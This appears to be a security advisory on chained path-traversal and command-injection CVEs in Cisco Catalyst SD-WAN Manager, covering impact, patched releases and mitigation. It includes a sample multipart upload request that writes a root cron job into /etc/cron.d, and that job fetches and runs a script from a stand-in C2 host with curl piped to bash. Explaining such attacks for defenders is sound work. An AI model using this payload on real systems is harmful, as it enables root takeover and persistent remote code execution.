Control Plane Threat: SD-WAN Core Orchestrator Under Attack

The Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-20262 and CVE-2026-20245 to its Known Exploited Vulnerabilities (KEV) catalog, warning that sophisticated threat actors are actively targeting Cisco Catalyst SD-WAN Manager (formerly Cisco vManage). Rated CVSS 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), these chained vulnerabilities enable unauthenticated remote threat actors to achieve arbitrary remote code execution with root administrative privileges on exposed orchestrator nodes.

Cisco Catalyst SD-WAN Manager serves as the centralized policy, configuration, and telemetry hub for enterprise wide-area networks. Connecting global headquarters, cloud workloads, and hundreds of branch offices over dynamic overlay tunnels, a compromise of the SD-WAN Manager exposes the entire corporate network fabric to routing manipulation, traffic interception, and branch network isolation.

Vulnerability Forensics & Exploit Chaining

The attack chain combines two separate vulnerabilities within the SD-WAN Manager web application stack:

1. Path Traversal & Arbitrary File Upload (CVE-2026-20262)

Assigned CWE-22, CVE-2026-20262 stems from insufficient validation of HTTP request parameters targeting the software upload and firmware distribution service. Unauthenticated remote adversaries can supply crafted multi-part requests containing dot-dot-slash (../) path traversal sequences, writing arbitrary files outside intended web directories into system cron or library paths.

2. Shell Parameter Injection to Root Execution (CVE-2026-20245)

Assigned CWE-78, CVE-2026-20245 arises from improper sanitization of arguments passed to internal system commands during configuration template verification. When combined with the arbitrary file upload flaw, an attacker executes custom shell scripts with complete root privileges on the underlying Linux OS appliance. 

POST /dataservice/device/action/firmware/upload HTTP/1.1
Host: sdwan-manager.enterprise.corp:8443
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCST
User-Agent: Mozilla/5.0

------WebKitFormBoundaryCST
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/root_backdoor"
Content-Type: application/octet-stream

* * * * * root /bin/bash -c "curl -s http://c2.threat.net/stage.sh | bash"
------WebKitFormBoundaryCST--

Operational Impact on Enterprise SD-WAN Overlays

Once an adversary compromises Cisco Catalyst SD-WAN Manager, the scope of unauthorized access extends across the entire enterprise topology:

  • Centralized Policy Hijacking: Attackers push modified localized and centralized data policies to edge routers (Catalyst 8000 series, ISR/ASR routers), silently routing sensitive traffic through adversary-controlled proxy nodes.
  • Branch Isolation & DoS: Threat actors can de-provision IPsec encryption keys, causing immediate outage across hundreds of connected bank branches, retail stores, and manufacturing sites.
  • Certificate & Secret Harvesting: The orchestrator holds root CA certificates, enterprise VPN credentials, and cloud interconnect tokens (AWS Transit Gateway, Azure Virtual WAN), enabling seamless lateral movement into enterprise cloud environments.

Remediation Guidance & Software Upgrades

Software Release Track Vulnerable Releases Patched Release
20.12 Releases 20.12.1 and earlier Upgrade to 20.12.2 or later
20.9 Releases 20.9.4 and earlier Upgrade to 20.9.5 or later
20.6 Releases 20.6.6 and earlier Upgrade to 20.6.7 or later

Immediate Mitigation Checklist

  1. Isolate Management Port 8443: Ensure the SD-WAN Manager web GUI and REST APIs on TCP port 8443 are never exposed to the public internet. Access must be restricted through dedicated jump hosts.
  2. Rotate SD-WAN Organization Tokens: Re-generate and rotate organization tokens and controller root CA certificates across the SD-WAN overlay.
  3. Audit File Integrity: Inspect /etc/cron* and /tmp directories on the appliance for unauthorized scripts or unexpected process spawns.